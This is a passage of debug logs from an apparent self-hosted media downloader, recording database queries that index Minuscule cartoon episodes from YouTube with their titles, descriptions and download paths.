s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.233 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-14 14:30:07Z], 4] 00:54:34.236 [debug] QUERY OK source="media_items" db=1.9ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fourmi rose/Rosy (Season 1)", "c989994b-6e7b-4ebc-ae65-102e31ccbffe", "sZ9wJcqZe-I", 339, false, 4, "https://www.youtube.com/watch?v=sZ9wJcqZe-I", 88, "/downloads/Miniscule Season 1/2020-04-14 Minuscule - Fourmi rose⧸Rosy (Season 1)/Minuscule - Fourmi rose⧸Rosy (Season 1) [sZ9wJcqZe-I].mp4", false, false, false, [], 1, ~U[2020-04-14 14:30:07Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fourmi rose/Rosy (Season 1)", "sZ9wJcqZe-I", 339, false, 4, "https://www.youtube.com/watch?v=sZ9wJcqZe-I", "/downloads/Miniscule Season 1/2020-04-14 Minuscule - Fourmi rose⧸Rosy (Season 1)/Minuscule - Fourmi rose⧸Rosy (Season 1) [sZ9wJcqZe-I].mp4", false, ~U[2020-04-14 14:30:07Z]] 00:54:34.236 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.237 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-31 16:30:02Z], 4] 00:54:34.240 [debug] QUERY OK source="media_items" db=1.9ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop/Petit Repas entre Mouches (Season 1)", "eef79014-9107-4558-a65e-cff4025914ef", "hJ_LHByxa0Y", 319, false, 4, "https://www.youtube.com/watch?v=hJ_LHByxa0Y", 89, "/downloads/Miniscule Season 1/2020-03-31 Minuscule - Hop⧸Petit Repas entre Mouches (Season 1)/Minuscule - Hop⧸Petit Repas entre Mouches (Season 1) [hJ_LHByxa0Y].mp4", false, false, false, [], 1, ~U[2020-03-31 16:30:02Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop/Petit Repas entre Mouches (Season 1)", "hJ_LHByxa0Y", 319, false, 4, "https://www.youtube.com/watch?v=hJ_LHByxa0Y", "/downloads/Miniscule Season 1/2020-03-31 Minuscule - Hop⧸Petit Repas entre Mouches (Season 1)/Minuscule - Hop⧸Petit Repas entre Mouches (Season 1) [hJ_LHByxa0Y].mp4", false, ~U[2020-03-31 16:30:02Z]] 00:54:34.241 [debug] QUERY OK source="sources" db=0.4ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.242 [debug] QUERY OK source="media_items" db=0.8ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-24 17:30:02Z], 4] 00:54:34.245 [debug] QUERY OK source="media_items" db=1.9ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hoquet/Hiccups (Season 1)", "be39a5a1-c594-42c4-8a9f-07beb9f2bd4b", "bcaDaKR1pqw", 342, false, 4, "https://www.youtube.com/watch?v=bcaDaKR1pqw", 90, "/downloads/Miniscule Season 1/2020-03-24 Minuscule - Hoquet⧸Hiccups (Season 1)/Minuscule - Hoquet⧸Hiccups (Season 1) [bcaDaKR1pqw].mp4", false, false, false, [], 1, ~U[2020-03-24 17:30:02Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hoquet/Hiccups (Season 1)", "bcaDaKR1pqw", 342, false, 4, "https://www.youtube.com/watch?v=bcaDaKR1pqw", "/downloads/Miniscule Season 1/2020-03-24 Minuscule - Hoquet⧸Hiccups (Season 1)/Minuscule - Hoquet⧸Hiccups (Season 1) [bcaDaKR1pqw].mp4", false, ~U[2020-03-24 17:30:02Z]] 00:54:34.246 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.247 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-17 15:30:02Z], 4] 00:54:34.250 [debug] QUERY OK source="media_items" db=1.9ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la chenille qui voulait voir la mer/Caterpillar who wanted to see the Ocean (Season 1)", "9ed45a78-67b7-4f9d-a4df-5c7eade68715", "XCrb33QfhtI", 344, false, 4, "https://www.youtube.com/watch?v=XCrb33QfhtI", 91, "/downloads/Miniscule Season 1/2020-03-17 Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1)/Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1) [XCrb33QfhtI].mp4", false, false, false, [], 1, ~U[2020-03-17 15:30:02Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la chenille qui voulait voir la mer/Caterpillar who wanted to see the Ocean (Season 1)", "XCrb33QfhtI", 344, false, 4, "https://www.youtube.com/watch?v=XCrb33QfhtI", "/downloads/Miniscule Season 1/2020-03-17 Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1)/Minuscule - la chenille qui voulait voir la mer⧸Caterpillar who wanted to see the Ocean (Season 1) [XCrb33QfhtI].mp4", false, ~U[2020-03-17 15:30:02Z]] 00:54:34.251 [debug] QUERY OK source="sources" db=0.4ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.252 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-10 15:30:04Z], 4] 00:54:34.255 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la bonne graine/The Right Seed (Season 1)", "3def8582-a345-424d-90c9-fe0a7677509a", "lywDY3NoYI8", 343, false, 4, "https://www.youtube.com/watch?v=lywDY3NoYI8", 92, "/downloads/Miniscule Season 1/2020-03-10 Minuscule - la bonne graine⧸The Right Seed (Season 1)/Minuscule - la bonne graine⧸The Right Seed (Season 1) [lywDY3NoYI8].mp4", false, false, false, [], 1, ~U[2020-03-10 15:30:04Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la bonne graine/The Right Seed (Season 1)", "lywDY3NoYI8", 343, false, 4, "https://www.youtube.com/watch?v=lywDY3NoYI8", "/downloads/Miniscule Season 1/2020-03-10 Minuscule - la bonne graine⧸The Right Seed (Season 1)/Minuscule - la bonne graine⧸The Right Seed (Season 1) [lywDY3NoYI8].mp4", false, ~U[2020-03-10 15:30:04Z]] 00:54:34.256 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.257 [debug] QUERY OK source="media_items" db=0.8ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-03 15:30:00Z], 4] 00:54:34.260 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE: http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la horde sauvage/The Wild Bunch (Season 1)", "6ee0f644-8b17-4e6e-9923-c6a044618656", "EYdLc1ePHos", 336, false, 4, "https://www.youtube.com/watch?v=EYdLc1ePHos", 93, "/downloads/Miniscule Season 1/2020-03-03 Minuscule - la horde sauvage⧸The Wild Bunch (Season 1)/Minuscule - la horde sauvage⧸The Wild Bunch (Season 1) [EYdLc1ePHos].mp4", false, false, false, [], 1, ~U[2020-03-03 15:30:00Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE: http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la horde sauvage/The Wild Bunch (Season 1)", "EYdLc1ePHos", 336, false, 4, "https://www.youtube.com/watch?v=EYdLc1ePHos", "/downloads/Miniscule Season 1/2020-03-03 Minuscule - la horde sauvage⧸The Wild Bunch (Season 1)/Minuscule - la horde sauvage⧸The Wild Bunch (Season 1) [EYdLc1ePHos].mp4", false, ~U[2020-03-03 15:30:00Z]] 00:54:34.260 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.262 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-25 15:30:00Z], 4] 00:54:34.264 [debug] QUERY OK source="media_items" db=1.8ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la fourmilière infernale/Infernal Anthill (Season 1)", "0f769f21-fd13-4a03-990e-e91a81068aa1", "BR8MyFRNZAo", 316, false, 4, "https://www.youtube.com/watch?v=BR8MyFRNZAo", 94, "/downloads/Miniscule Season 1/2020-02-25 Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1)/Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1) [BR8MyFRNZAo].mp4", false, false, false, [], 1, ~U[2020-02-25 15:30:00Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la fourmilière infernale/Infernal Anthill (Season 1)", "BR8MyFRNZAo", 316, false, 4, "https://www.youtube.com/watch?v=BR8MyFRNZAo", "/downloads/Miniscule Season 1/2020-02-25 Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1)/Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1) [BR8MyFRNZAo].mp4", false, ~U[2020-02-25 15:30:00Z]] 00:54:34.265 [debug] QUERY OK source="sources" db=0.5ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.267 [debug] QUERY OK source="media_items" db=0.9ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-18 15:30:03Z], 4] 00:54:34.269 [debug] QUERY OK source="media_items" db=1.9ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la conserve/Out of a Tin Can (Season 1)", "b097cba7-47d1-460b-a1b3-b9d0c11425f6", "yNBi0yEhu-s", 332, false, 4, "https://www.youtube.com/watch?v=yNBi0yEhu-s", 95, "/downloads/Miniscule Season 1/2020-02-18 Minuscule - la conserve⧸Out of a Tin Can (Season 1)/Minuscule - la conserve⧸Out of a Tin Can (Season 1) 